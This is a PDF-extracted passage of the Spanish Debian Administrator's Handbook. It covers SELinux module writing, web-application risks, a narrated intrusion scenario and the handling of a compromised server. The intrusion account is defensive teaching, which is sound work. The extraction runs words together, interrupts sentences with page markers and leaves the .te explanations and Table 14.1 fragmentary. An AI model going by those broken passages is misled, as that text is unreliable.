se convierte en el predeterminado y semantiene después de reiniciar elequipo. El ejemplo a continuaciónpermite a los servidores web acceso alos directorios personales (esto es útilcuando los usuarios tienen sitios webpersonales en ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.4.4. Adaptación delas reglas

Page 1778: El Libro Del Administrador de Debian - Raphael Hertzog

Puesto que la política SELinux esmodular, puede ser interesantedesarrollar nuevos módulos paraaplicaciones (posiblemente propias)que carezcan de uno. Estos nuevosmódulos completarán la política dereferencia.

Para crear nuevos módulos, necesitarálos paquetes selinux-policy-dev yselinux-policy-doc. Este últimocontiene la documentación de lasreglas estándar(/usr/share/doc/selinux-policy-doc/html/) y los archivos de ejemploque puede utilizar como plantillas paracrear nuevo módulos. Instale estosmódulos y estúdielos detenidamente:

Page 1779: El Libro Del Administrador de Debian - Raphael Hertzog

$ zcat /usr/share/doc/selinux-policy-doc/Makefile.example.gz >Makefile

$ zcat /usr/share/doc/selinux-policy-doc/example.fc.gz >example.fc

$ zcat /usr/share/doc/selinux-policy-doc/example.if.gz >example.if

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

El archivo .te es el más importante.Define las reglas. El archivo .fc definelos «contextos de archivo», es decir lostipos asignados a los archivosrelacionados con este módulo. Losdatos del archivo .fc se utilizandurante el paso de etiquetado dearchvios. Por último, el archivo .ifdefine la interfaz del módulo: es unaserie de «funciones públicas» que otrosmódulos pueden utilizar parainteractuar con el módulo que estácreando.

Page 1780: El Libro Del Administrador de Debian - Raphael Hertzog

14.4.4.1. Creación de unarchivo .fc

Leer el ejemplo a continuación deberíaser suficiente para entender laestructura de este tipo de archivos.Puede utilizar expresiones regularespara asignar el mismo contexto deseguridad a múltiples archivos, oincluso a un árbol de directorioscompleto.

Example 14.2. Archivo example.fc# El ejecutable myapp tendrá:

# etiqueta: system_u:object_r:myapp_exec_t

# Sensibilidad MLS: s0

# Categorías MCS: <none>

/usr/sbin/myapp -- gen_context(system_u:object_r:myapp_exec_t,s0)

Page 1781: El Libro Del Administrador de Debian - Raphael Hertzog

14.4.4.2. Creación de unarchivo .if

En el ejemplo a continuación, laprimera interfaz («myapp_domtrans»)controla quién puede utilizar laaplicación. La segunda(«myapp_read_log») otorga permisosde escritura a los archivos de registrode la aplicación.

Cada interfaz debe generar un conjuntode reglas válido que pueda serintegrado en un archivo .te. Por lotanto, debe declarar todos los tipos queutilizará (con el macro gen_require) yutilizar directivas estándar para otorgarpermisos. Sepa que puede utilizar

Page 1782: El Libro Del Administrador de Debian - Raphael Hertzog

interfaces proporcionadas por otrosmódulos. La siguiente sección darámás explicaciones sobre cómo expresarestos permisos.

Example 14.3. Archivo ejemplo.if## <summary>Política de ejemplo de Myapp</summary>

## <desc>

## <p>

## Texto más descriptivo de myapp. La etiqueta <desc>

## también puede utilizar etiquetas HTML <p>,

## <ul>, and <ol> para dar formato.

## </p>

## <p>

## Esta política es compatible con las siguientes

## funcionalidades de myapp:

## <ul>

## <li>Funcionalidad A</li>

## <li>Funcionalidad B</li>

## <li>Funcionalidad C</li>

## </ul>

Page 1783: El Libro Del Administrador de Debian - Raphael Hertzog

## </p>

## </desc>

#

########################################

## <summary>

## Ejecutar una transición de dominio para ejecutar myapp.

## </summary>

## <param name="domain">

## Dominio permitido para la transición

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

Page 1784: El Libro Del Administrador de Debian - Raphael Hertzog

## Leer archivos de registro de myapp.

## </summary>

## <param name="domain">

## Dominio al que se le permite leer archivos de registro.

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file r_file_perms;

')

DOCUMENTACIÓN Explicaciones sobrela política de referencia

La política de referencia evolucionacomo cualquier proyecto de softwarelibre: basada en contribuciones devoluntarios. Tresys, una de las compañías

Page 1785: El Libro Del Administrador de Debian - Raphael Hertzog

más activas en el ámbito de SELinux,alberga el proyecto. Su wiki contieneexplicaciones sobre la estructura de lasreglas y cómo puede crear nuevas.

→ http://oss.tresys.com/projects/refpolicy/wiki/GettingStarted

14.4.4.3. Escritura de unarchivo .te

Revise el archivo example.te:

YENDO MÁS ALLÁ El lenguaje demacro m4

Para estructurar la política correctamente,los desarrolladores de SELinux utilizaronun procesador de macros. En lugar de

Page 1786: El Libro Del Administrador de Debian - Raphael Hertzog

duplicar muchas directivas allowsimilares, crearon «funciones macro»para utilizar una lógica de más alto nivelque también resulta en una políticamucho más legible.

En la práctica, utilizamos m4 paracompilar estas reglas. Realizar laoperación opuesta: expande todas lasdirectivas de alto nivel en una base dedatos gigante de directivas allow.

Las «interfaces» SELinux son sólofunciones macro que serán substituidaspor un conjunto de reglas en tiempo decompilación. De la misma forma, algunospermisos son en realidad conjuntos depermisos que son reemplazados por susvalores en tiempo de compilación.

policy_module(myapp,1.0.0)

Page 1787: El Libro Del Administrador de Debian - Raphael Hertzog

########################################

#

# Declaraciones

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Política local de Myapp

#

Page 1788: El Libro Del Administrador de Debian - Raphael Hertzog

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

El módulo debe ser identificado por su nombre y número de versión. Estadirectiva es obligatoria.

Si el módulo introduce tipos nuevos, debe declararlos con directivascomo las siguientes. No dude en crear tantos tipos como necesite en lugarde otorgar demasiados permisos inútiles.

Dichas interfaces definen el tipo myapp_tque cualquier ejecutable con la etiqueta Implícitamente, esto agrega un atributo que a su vez permite a otros módulos otorgar permisos para ejecutardichos programas: por ejemplo, el módulo

Page 1789: El Libro Del Administrador de Debian - Raphael Hertzog

ejecuten los proceso con dominios user_tdominios de otras aplicaciones confinadas no tendrán los permisos paraejecutarlos a menos que las reglas les otorguen permisos similares (estees el caso, por ejemplo, de dpkg con su dominio

logging_log_file es una interfaz provista por la política de referencia.Indica que los archivos etiquetados con el tipo dado son archivos deregistro que deben gozar de los beneficios de las reglas asociadas (porejemplo, otorgando permisos a logrotate

La directiva allow es la directiva base para autorizar una operación. Elprimer parámetro es el dominio de proceso al que se le permite ejecutarla operación. El segundo define el objeto que puede manipular un procesodel dominio anterior. Este parámetro debe estar en el formato«tipo:clase», en el que tipo es el tipo SELinux y naturaleza del objeto (archivo, directorio, zócalo, tubería, etc.).Finalmente, el último parámetro describe los permisos (las operaciones

Page 1790: El Libro Del Administrador de Debian - Raphael Hertzog

permitidas).

Los permisos están definidos como el conjunto de operacionespermitidas y siguen la siguiente plantilla: Sin embargo, también puede utilizar macros que representan lospermisos más útiles. El archivo/usr/share/selinux/default/include/support/obj_perm_sets.spt

los enumera.

La siguiente página web provee una lista relativamente exhaustiva de lasclases de objetos y los permisos que puede otorgar.

→ http://www.selinuxproject.org/page/ObjectClassesPerms

Ahora sólo debe encontrar el conjuntomínimo de reglas necesario paraasegurar que la aplicación o servicioobjetivo funcione correctamente. Para

Page 1791: El Libro Del Administrador de Debian - Raphael Hertzog

lograrlo, debería tener buenconocimiento de cómo funciona laaplicación y qué tipo de datos genera oadministra.

Sin embargo, es posible un enfoqueempírico. Una vez que se etiquetaroncorrectamente los objetos relevantes,puede utilizar la aplicación en modopermisivo: las operaciones quehubiesen estado bloqueadas sonregistradas pero ejecutaráncorrectamente. Si analiza los registros,ahora puede identificar las operacionesa permitir. A continuación encontraráun ejemplo de elemento en dichoregistro:

avc: denied { read write } for pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file

Page 1792: El Libro Del Administrador de Debian - Raphael Hertzog

Para entender mejor este mensaje,estudiémoslo parte por parte.

Table 14.1. Análisis de una trazaSELinux

Mensaje

avc: denied

{ read write }

Page 1793: El Libro Del Administrador de Debian - Raphael Hertzog

pid=1876

comm="syslogd"

name="xconsole"

Page 1794: El Libro Del Administrador de Debian - Raphael Hertzog

dev=tmpfs

Page 1795: El Libro Del Administrador de Debian - Raphael Hertzog

ino=5510

scontext=system_u:system_r:syslogd_t:s0

tcontext=system_u:object_r:device_t:s0

Page 1796: El Libro Del Administrador de Debian - Raphael Hertzog

tclass=fifo_file

Observando esta entrada de registro, esposible crear una regla que permitiríaesta operación. Por ejemplo: allowsyslogd_t device_t:fifo_file {

read write }. Se puede automatizareste proceso, que es exactamente lo queofrece el paquete audit2allow (delpaquete policycoreutils. Este enfoquesólo es útil si ya están etiquetadoscorrectamente los muchos objetos quedeben ser confinados. En cualquiercaso, debe revisar cuidadosamente lasreglas generadas y validarlas según su

Page 1797: El Libro Del Administrador de Debian - Raphael Hertzog

conocimiento de la aplicación. Enefecto, este enfoque tiende a otorgarmás permisos de los que son realmentenecesarios. La solución apropiadageneralmente es crear nuevos tipos yotorgar los permisos sólo sobre dichostipos. También puede suceder quedenegar una operación no es fatal parala aplicación, en cuyo caso podría sermejor simplemente agregar una regla«dontaudit» para evitar que searegistrada a pesar de que sea denegada.

COMPLEMENTOS Falta de roles en lasreglas de la política

Puede parecerle extraño que no semencionen roles cuando se crean nuevasreglas. SELinux sólo utiliza los dominios

Page 1798: El Libro Del Administrador de Debian - Raphael Hertzog

para saber qué operaciones estánpermitidas. El rol sólo intervieneindirectamente permitiéndole al usuariocambiar a otro dominio. SELinux estábasado en una teoría conocida comoforzado de tipos («Type Enforcement») yel tipo es el único elemento que importaal otorgar permisos.

14.4.4.4. Compilación de losarchivos

Una vez que los 3 archivos(ejemplo.if, ejemplo.fc yejemplo.te) está a la altura de susexpectativas de las nuevas reglas,simplemente ejecute make para

Page 1799: El Libro Del Administrador de Debian - Raphael Hertzog

generar un módulo en el archivoejemplo.pp (puede cargarloinmediatamente con semodule -iejemplo.pp). Si define varios módulos,make creará todos los archivos .ppcorrespondientes.

Page 1800: El Libro Del Administrador de Debian - Raphael Hertzog

14.5. Otrasconsideracionesrelacionadas conla seguridadLa seguridad no es sólo un problematécnico: más que nada, es sobre buenasprácticas y permitir los riesgos. Estasección revisa algunos de los riesgosmás comunes, así como también unaspocas prácticas recomendadas quedeberían, dependiendo del caso,aumentar la seguridad o reducir elimpacto de un ataque exitoso.

Page 1801: El Libro Del Administrador de Debian - Raphael Hertzog

14.5.1. Riesgosinherentes de lasaplicaciones webEl carácter universal de lasaplicaciones web llevaron a suproliferación. Usualmente se ejecutanvarias en paralelo: correo web, wiki,sistema de gestión, foros, galería defotos, blog, etc. La mayoría de estasaplicaciones están basadas en la pila«LAMP» (Linux, Apache, MySQL,PHP). Desafortunadamente, muchas deestas aplicaciones también fueronescritas sin considerar los problemasde seguridad. Los datos que provienen

Page 1802: El Libro Del Administrador de Debian - Raphael Hertzog

del exterior, demasiado seguido, sonutilizados luego de escasa o nulavalidación. Se pueden proveer valorescreados especiales para generar queuna llamada a un programa ejecute otroen cambio. Con el paso del tiempo secorrigieron muchos de los problemasmás obvios, pero aparecen nuevosproblemas regularmente.

VOCABULARIO Inyección SQL

Cuando un programa agrega datos a unaconsulta SQL de forma insegura, esvulnerable a inyecciones SQL; estenombre hace referencia al acto decambiar un parámetro de forma que laconsulta ejecutada por el programaresultará diferente a la esperada, bien

Page 1803: El Libro Del Administrador de Debian - Raphael Hertzog

para dañar la base de datos o para accedera datos a los que normalmente no tendríaacceso.

→ http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL

Por lo tanto, es obligatorio actualizarlas aplicaciones web regularmente,para que un «cracker» (sea un atacanteprofesional o un «script kiddy») nopueda aprovecharse de unavulnerabilidad conocida. El riesgo realdepende de cada caso, varía entre ladestrucción de datos a la ejecución decódigo arbitrario, incluyendo ladesfiguración del sitio web.

Page 1804: El Libro Del Administrador de Debian - Raphael Hertzog

14.5.2. Saber quéesperarGeneralmente se utiliza unavulnerabilidad en una aplicación webcomo punto de partida para intentos de«cracking». Lo que sigue es una breverevisión de las consecuencias posibles.

VISTA RÁPIDA Filtrado de consultasHTTP

Apache 2 incluye módulos que permitenfiltrar consultas HTTP entrantes. Estopermite bloquear algunos vectores deataque. Por ejemplo, limitar la longitud delos parámetros puede prevenir un

Page 1805: El Libro Del Administrador de Debian - Raphael Hertzog

desbordamiento de búfer. De forma másgeneral, puede validar los parámetrosinclusive antes de que sean pasados a laaplicación web y puede restringir elacceso según muchos criterios. Inclusivepuede combinarlo con actualizacionesdinámicas del firewall, para prohibirletemporalmente el acceso al servidor weba un cliente que infrinja alguna de lasreglas.

Configurar estas verificaciones puede seruna tarea larga y tediosa, pero valdrá lapena cuando la aplicación web que debadesplegar tenga un historial de seguridaddudoso.

mod-security (en el paquete libapache-mod-security) es el módulo principal deeste tipo.

Page 1806: El Libro Del Administrador de Debian - Raphael Hertzog

Las consecuencias de una intrusióntendrán varios niveles de obviedaddependiendo de las motivaciones delatacante. Los «script kiddies» sóloaplican recetas que encuentran en sitiosweb; generalmente desfiguran unapágina web o borran datos. En casosmás sutiles agregan contenido invisiblea las páginas web para mejorar lasreferencias a sus propios sitios en losmotores de búsqueda.

Un atacante más avanzado irá más allá.Un escenario desastroso podría sercomo sigue: el atacante obtiene lahabilidad de ejecutar programas comoel usuario www-data, pero ejecutar unaorden necesita demasiadas

Page 1807: El Libro Del Administrador de Debian - Raphael Hertzog

manipulaciones. Para hacer su tareamás sencilla, instala otra aplicaciónweb diseñada específicamente paraejecutar remotamente muchas órdenesdistntas, como navegar el sistema dearchivos, examinar permisos, subir odescargar archivos, ejecutar programaso inclusive proveer una consola de red.Generalmente, la vulnerabilidad lepermitirá ejecutar wget para descargaralgún malware en /tmp/ y luegoejecutarlo. Usualmente se descargadicho malware de un sitio webextranjero que fue comprometido conanterioridad y servirá para cubrir sushuellas y hacer más difícil rastrear elorigen real del ataque.

Page 1808: El Libro Del Administrador de Debian - Raphael Hertzog

En este punto el atacante tienesuficiente libertad de movimiento y,generalmente, instalan un «bot» IRC(un robot que se conecta a un servidorIRC por el que se lo puede controlar).Generalmente se lo utiliza paracompartir archivos ilegales (copias noautorizadas de películas o software,etc.). Un atacante tenaz inclusivepodría desear ir más allá todavía. Lacuenta www-data no provee accesocompleto al equipo, el atacanteintentará obtener permisos deadministrador. Esto no debería serposible, pero si la aplicación web noestaba actualizada es posible tambiénque el núcleo y otros programastampoco estén actualizados; esto a

Page 1809: El Libro Del Administrador de Debian - Raphael Hertzog

veces deriva de una decisión deladministrador que, a pesar de conocerla vulnerabilidad, descuidó laactualización del sistema ya que noexisten usuarios locales. El atacantepodrá aprovechar una segundavulnerabilidad para obtener permisosde root.

VOCABULARIO Escalada de privilegios

Este término cubre cualquier cosa quepueda ser utilizada para obtener máspermisos de los que normalmente tendríaun usuario normal. El programa sudo estádiseñado específicamente para proveerpermisos de administración a algunosusuarios. Pero también se utiliza el mismotérmino para describir el acto en el que un

Page 1810: El Libro Del Administrador de Debian - Raphael Hertzog

atacante aprovecha una vulnerabilidadpara obtener permisos indebidos.

Ahora el atacante es dueño de lamáquina; usualmente intentaránmantener este acceso privilegiado tantocomo les sea posible. Esto involucrainstalar un «rootkit», un programa quereemplazará algunos componentes delsistema para que el atacante puedaobtener privilegios de administradormás adelante; el «rootkit» tambiénintentará esconder su propia existenciaasí como también cualquier rastro de laintrusión. Un programa pscomprometido omitirá algunosprocesos, netstat no mostrará algunas

Page 1811: El Libro Del Administrador de Debian - Raphael Hertzog

conexiones activas, etc. Utilizando lospermisos de root, el atacante pudoobservar el sistema completo pero noencontró datos importantes; por lo queintentará acceder a otras máquinas enla red corporativa. Analizando lacuenta del administrador y los archivoshistóricos, el atacante encuentra lasmáquinas a las que se accedefrecuentemente. Puede interceptar lacontraseña de alguno de losadministradores reemplazando sudo ossh con una versión comprometida, yluego utilizar esta información en losservidores detectados… y propagar laintrusión de allí en más.

Este es un escenario de pesadilla que se

Page 1812: El Libro Del Administrador de Debian - Raphael Hertzog

puede prevenir con varias medidas. Lassiguientes secciones describiránalgunas de estas medidas.

14.5.3. Selecciónprudente de softwareUna vez que se conocen los problemasde seguridad, debe tenerlos en cuentaen cada paso del proceso de desplegadode un servicio, especialmente al elegirel software que instalar. Muchos sitiosweb, como SecurityFocus.com,mantienen una lista de vulnerabilidadesdescubiertas recientemente, lo cual lepuede dar una idea del historial de

Page 1813: El Libro Del Administrador de Debian - Raphael Hertzog

seguridad de un software antes dedesplegarlo. Por supuesto, debebalancear esta información con lapopularidad de dicho software: unprograma más utilizado es un objetivomás tentador y, consecuentemente, seráinvestigado más en detalle. Por el otrolado, un programa de nicho podría estarlleno de huecos de seguridad que nuncason publicados debido a la falta deinterés en una auditoría de seguridad.

VOCABULARIO Auditoría de seguridad

Una auditoría de seguridad es el procesode leer y analizar a fondo el código fuentede algún software, buscando potencialesvulnerabilidades de seguridad que puedacontener. Usualmente, dichas auditorías

Page 1814: El Libro Del Administrador de Debian - Raphael Hertzog

son proactivas y se las realizan paraasegurar que un programa cumple ciertosrequisitos de seguridad.

En el mundo del Software Libre,generalmente hay mucha variedad deopciones y elegir un software sobreotro debería ser una decisión basada enel criterio local. Más funcionalidadimplica un aumento del riesgo de unavulnerabilidad escondida en el código;elegir el programa más avanzado parauna tarea podría ser contraproducente,usualmente elegir el programa mássimple que cumpla los requisitos es unmejor enfoque.

Page 1815: El Libro Del Administrador de Debian - Raphael Hertzog

VOCABULARIO Vulnerabilidad de díacero («zero-day exploit»)

Un ataque mediante una vulnerabilidadde día cero es difícil de prevenir; eltérmino abarca una vulnerabilidad quetodavía no es conocida por los autores delprograma.

14.5.4. Gestión de unamáquina como un todoDe forma predeterminada, la mayoríade las distribuciones Linux instalan unacantidad de servicios Unix y muchasherramientas. En la mayoría de los

Page 1816: El Libro Del Administrador de Debian - Raphael Hertzog

casos, no se necesitan estos servicios yherramientas para lo que eladministrador configuró la máquina.Como guía general en materia deseguridad, es mejor desinstalarsoftware innecesario. En efecto, notiene sentido asegurar un servidor FTPsi se puede utilizar una vulnerabilidaden otro servicio no utilizado paraobtener permisos de administrador entodo el equipo.

De la misma forma, generalmente seconfigurarán los firewalls sólo parapermitir acceder a los servicios quedeban estar accesibles públicamente.

Los equipos actuales son

Page 1817: El Libro Del Administrador de Debian - Raphael Hertzog

suficientemente poderosos para poderalbergar varios servicios en la mismamáquina física. Desde un punto devista económico, dicha posibilidad esinteresante: un sólo equipo aadministrar, menor consumo deenergía, etc. Desde el punto de vista deseguridad, sin embargo, esta elecciónpuede ser un problema. Un serviciocomprometido puede proveer acceso atoda la máquina, que a su vezcompromete los otros servicios en elmismo equipo. Se puede mitigar esteriesgo aislando los servicios. Puedelograrlo mediante virtualización (cadaservicio albergado en una máquinavirtual dedicada) o bien con SELinux(que cada demonio de servicio tenga un

Page 1818: El Libro Del Administrador de Debian - Raphael Hertzog

conjunto de permisos adecuado).

14.5.5. Los usuariostambién son parteDiscutir sobre seguridadinmediatamente trae a la menteproteger en contra de ataques de«cracker» anónimos escondidos en lajungla de Internet; pero se suele olvidarque el riesgo también proviene desdeadentro: un empleado a punto de dejarla empresa podría descargar archivossensibles en un proyecto importante yvenderlos a la competencia, unvendedor descuidado podría dejar su

Page 1819: El Libro Del Administrador de Debian - Raphael Hertzog

escritorio sin bloquear su sesióndurante una reunión con un nuevoprospecto, un usuario atolondradopodría borrar el directorio incorrectopor error, etc.

La respuesta a estos riesgos puedeinvolucrar soluciones técnicas: limitarlos permisos otorgados a los usuarios aaquellos estrictamente necesarios ytener respaldos son obligatorios. Peroen muchos casos la protecciónadecuada involucrará entrenar a losusuarios a evitar los riesgos.

VISTA RÁPIDA autolog

El paquete autolog provee un programaque automáticamente desconecta usuarios

Page 1820: El Libro Del Administrador de Debian - Raphael Hertzog

inactivos luego de un tiempoconfigurable. También permite matarprocesos de usuarios que permanecendespués que finalizó su sesión, evitandoasí que los usuarios ejecuten demonios.

14.5.6. SeguridadfísicaNo tiene sentido asegurar redes yservicios si los equipos en sí no estánprotegidos. Los datos importantesmerecen estar almacenados en discoduros que puede cambiar en caliente enarrays RAID, porque los discos duroseventualmente fallan y la

Page 1821: El Libro Del Administrador de Debian - Raphael Hertzog

disponibilidad de los datos esnecesaria. Pero si cualquier repartidorde pizza puede ingresar al edificio,ingresar a la sala de servidores y huircon unos pocos discos durosespecíficos, no se cumple una parte dela seguridad. ¿Quién puede ingresar ala sala de servidores? ¿Estámonitorizado el acceso? Estascuestiones merecen ser consideradas (yrespondidas) cuando se evalúa laseguridad física.

La seguridad física también incluyetener en cuenta los riesgos deaccidentes, como incendios. Este riesgoparticular es lo que justifica medios derespaldo en edificios separados, o al

Page 1822: El Libro Del Administrador de Debian - Raphael Hertzog

menos en una caja de seguridad aprueba de incendios.

14.5.7. ResponsabilidadlegalDe formas más o menos implícita, unadministrador recibe la confianza desus usuarios así como también la de losusuarios de la red en general. Por lotanto, deberían evitar cualquierdescuido que pueda ser aprovechadopor gente con malas intenciones.

Un atacante que tome control de suequipo y luego lo utilice como una baseavanzada (conocido como «sistema de

Page 1823: El Libro Del Administrador de Debian - Raphael Hertzog

retransmisión») desde la que realizarotras actividades nefastas podríacausarle problemas legales, debido aque aquellos atacados inicialmenteverían que el ataque proviene de susistema y, por lo tanto, considerarlocomo el atacante (o un cómplice). Enmuchos casos, el atacante utilizará suservidor para enviar spam, lo que nodebería tener demasiado impacto(excepto la posibilidad de registrarloen listas negras que limitarían sucapacidad de enviar correos legítimos),pero no será agradable. En otros casos,puede causar problemas másimportantes desde su máquina, porejemplo ataques de denegación deservicio. Esto a veces generará pérdida

Page 1824: El Libro Del Administrador de Debian - Raphael Hertzog

de ingresos ya que los servicioslegítimos no estarán disponibles ypodría destruir datos; a veces estotambién implicará costos reales, ya quela parte atacada puede iniciarprocedimientos legales en su contra.Los titulares de los derechos puedenenjuiciarlo si se comparte desde suservidor una copia no autorizada de unaobra protegida por la legislación dederechos de copia, así como tambiénotras empresas, obligadas por acuerdosde nivel de servicio, si deben pagarpenalidades por el ataque desde sumáquina.

Cuando ocurren estas situaciones,usualmente no basta con alegar

Page 1825: El Libro Del Administrador de Debian - Raphael Hertzog

inocencia; cuando menos necesitaráevidencia convincente que muestreactividad sospechosa en su sistema queproviene de una dirección IP dada. Estono será posible si descuida lasrecomendaciones de este capítulo ydeja que el atacante obtenga acceso auna cuenta privilegiada (root enparticular) y la utilice para cubrir sushuellas.

Page 1826: El Libro Del Administrador de Debian - Raphael Hertzog

14.6. Tratamientode una máquinacomprometidaA pesar de las mejores intenciones ysin importar cuán cuidadosamentediseñe la política de seguridad, unadministrador eventualmente seenfrentará a un secuestro. Esta secciónprovee algunas directrices sobre cómoreaccionar frente a estas circunstanciasdesafortunadas.

14.6.1. Detección y

Page 1827: El Libro Del Administrador de Debian - Raphael Hertzog

visualización de laintrusiónEl primer paso de la reacción frente auna intrusión es estar al tanto de lamisma. Esto no es siempre obvio,especialmente sin una infraestructurade monitorización adecuada.

A veces no se detectan los actos deintrusión hasta que tienenconsecuencias directas en los servicioslegítimos albergados en la máquina,como lentitud en las conexiones,algunos usuarios no se pueden conectaro cualquier otro tipo de funcionamientodefectuoso. El administrador que se

Page 1828: El Libro Del Administrador de Debian - Raphael Hertzog

enfrenta a estos problemas debe revisarcuidadosamente la máquina y escrutaren detalle aquello que no funcionacomo corresponde. Generalmente estees el momento en el que descubren unproceso inusual, por ejemplo unollamado apache en lugar del estándar/usr/sbin/apache2. Si seguimos condicho ejemplo, debemos anotar elidentificador de proceso y revisar/proc/pid/exe para ver qué programaestá ejecutando dicho proceso:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

¿Un programa instalado en /var/tmp/que ejecuta como el servidor web? Sin

Page 1829: El Libro Del Administrador de Debian - Raphael Hertzog

duda la máquina está comprometida.

Este sólo es un ejemplo, pero muchasotras pistas pueden encender lalámpara del administrador:

una opción a un programa que yano funciona; la versión delsoftware que el programa dice serno coincide con la versión que sesupone está instalada según dpkg;un prompt de órdenes o mensajede sesión que indica que la últimaconexión provino de un servidordesconocido en otro continente;errores causados porque lapartición /tmp/ está llena,resultado de múltiples copias

Page 1830: El Libro Del Administrador de Debian - Raphael Hertzog

ilegales de películas;etc.

14.6.2. Desconexióndel servidorEn prácticamente todos los casos, laintrusión proviene de la red y elatacante necesita una red funcionalpara alcanzar sus objetivos (acceder adatos confidenciales, compartirarchivos ilegales, esconder su identidadutilizando la máquina comorestransmisor, etc.). Desconectar elequipo de la red evitará que el atacantelogre estos objetivos si es que no los

Page 1831: El Libro Del Administrador de Debian - Raphael Hertzog

alcanzó para ese momento.

Esto podría ser posible sólamente sipuede acceder físicamente al servidor.Cuando se alberga el servidor en uncentro de datos del otro lado del país, osi no puede acceder al servidor deniguna otra forma, usualmente esbuena idea comenzar a obtenerinformación importante (revisa lassecciones siguientes), luego aislar elservidor tanto como sea posibleapagando tantos servicios como pueda(generalmente, todo excepto sshd).Este caso sigue siendo incómodo yaque uno no puede descartar laposibilidad que el atacante tengaacceso SSH al igual que el

Page 1832: El Libro Del Administrador de Debian - Raphael Hertzog

administrador; esto dificulta «limpiar»las máquinas.

14.6.3. Preservaciónde todo lo que puedautilizar comoevidenciaEntender el ataque y/o establecer unaacción legal en contra del atacanterequerirá copias de todos los elementosimportantes; esto incluye el contenidode los discos, una lista de todos losprocesos en ejecución y las conexionesestablecidas. Incluso podría utilizar el

Page 1833: El Libro Del Administrador de Debian - Raphael Hertzog

contenido de la RAM pero, rara vez selo utiliza realmente.

En el ápice de la acción, losadministradores generalmente estántentados de realizar muchasverificaciones en la máquinacomprometida; generalmente esto noes una buena idea. Potencialmente,todo programa está comprometido ypuede borrar porciones de la evidencia.Debería restringir las verificaciones aun conjunto mínimo (netstat -tupanpara conexiones de red, ps auxf parauna lista de procesos, ls -alr /proc/[0-9]* para un poco más de informaciónsobre los programas en ejecución), ydebe anotar cuidadosamente cada

Page 1834: El Libro Del Administrador de Debian - Raphael Hertzog

verificación que realice.

PRECAUCIÓN Análisis en caliente

Puede parecer tentandor analizar elequipo mientras ejecuta, especialmentecuando no puede acceder físicamente alservidor; debe evitarlo: simplemente nopuede confiar en los programas instaladosactualmente en el sistema comprometido.Es muy probable que un programa pscomprometido esconda proceso, o que unls comprometido esconda archivos. ¡Aveces incluso el núcleo estácomprometido!

Si necesita dicho análsis en caliente, debetener cuidado de sólo utilizar programasen los que sabe que puede confiar. Unabuena forma de hacer esto sería tener unCD de rescate con programas impolutos, o

Page 1835: El Libro Del Administrador de Debian - Raphael Hertzog

un espacio de red compartido en modo desolo lectura. Sin embargo, aún estasmedidas pueden no ser suficientes si elnúcleo en sí fue comprometido.

Una vez que guardó los elementos«dinámicos», el siguiente paso esalmacenar una imagen completa deldisco duro. Realizar dicha imagen esimposible si el sistema de archivoscontinúa evolucionando, razón por laque debe volver a montarlo en modosólo de lectura. La solución más simplegeneralmente es detener brutalmente elservidor (luego de ejecutar sync) yluego reiniciar desde un CD de rescate.Debe copiar cada partición con unaherramienta como dd; luego puede

Page 1836: El Libro Del Administrador de Debian - Raphael Hertzog

enviar estas imágenes a otro servidor(posiblemente con la convenienteherramienta nc). Otra posiblidad quepuede ser aún más sencilla:simplemente quite el disco de lamáquina y reemplácelo con otro al quepueda dar formato y reinstalar.

14.6.4. ReinstalaciónNo debería volver a poner en línea alservidor sin reinstalarlocompletamente. Si el compromiso fueserio (obtuvieron permisos deadministrador), prácticamente noexiste otra forma de estar seguro que selibró de todo lo que el atacante podría

Page 1837: El Libro Del Administrador de Debian - Raphael Hertzog

haber dejado (puertas traseras —«backdoors» — en particular). Porsupuesto, también debe aplicar todaslas últimas actualizaciones deseguridad para solucionar lavulnerabilidad que utilizó el atacante.Idealmente, el análisis del ataquedebería indicarle dicho vector deataque para que pueda estar seguro desolucionarlo; de lo contrario, sólopuede confiar que alguna de lasactualizaciones corrigió lavulnerabilidad.

No siempre es sencillo reinstalar unservidor remoto; podría involucrarasistencia de la empresa que alberga suequipo, ya que no siempre dichas

Page 1838: El Libro Del Administrador de Debian - Raphael Hertzog

compañías ofrecen serviciosautomatizados de reinstalación. Debetener cuidado de no reinstalar lamáquina desde respaldos realizadosluego del ataque. Idealmente, sólodebería restaurar los datos, deberíainstalar el software en sí desde losmedios de instalación.

14.6.5. AnálisisforenseAhora que restauró el servicio, esmomento de revisar máscuidadosamente las imágenes de discodel sistema comprometido para poder

Page 1839: El Libro Del Administrador de Debian - Raphael Hertzog

entender el vector de ataque. Cuandomonte estas imágenes debe asegurarsede utilizar las opcionesro,nodev,noexec,noatime para evitarmodificar sus contenidos (incluyendolas marcas temporales de acceso de losarchivos) o ejecutar por error losprogramas comprometidos.

Seguir las huellas de un escenario deataque generalmente involucra buscartodo lo que se modificó o ejecutó:

usualmente es interesante leer losarchivos .bash_history;al igual que enumerar los archivosque fueron creados, modificados oaccedidos recientemente;

Page 1840: El Libro Del Administrador de Debian - Raphael Hertzog

el programa strings ayuda aidentificar los programasinstalados por el atacante,extrayendo las cadenas de texto deun binario;los archivos de registro en/var/log/ usualmente permitenreconstruir una cronología de loseventos;herramientas específicas tambiénpermiten restaurar el contenido dearchivos potencialmente borrados,incluyendo los archivos deregistro que generalmente borranlos atacantes.

Software especializado puede facilitaralgunas de estas operaciones. En

Page 1841: El Libro Del Administrador de Debian - Raphael Hertzog

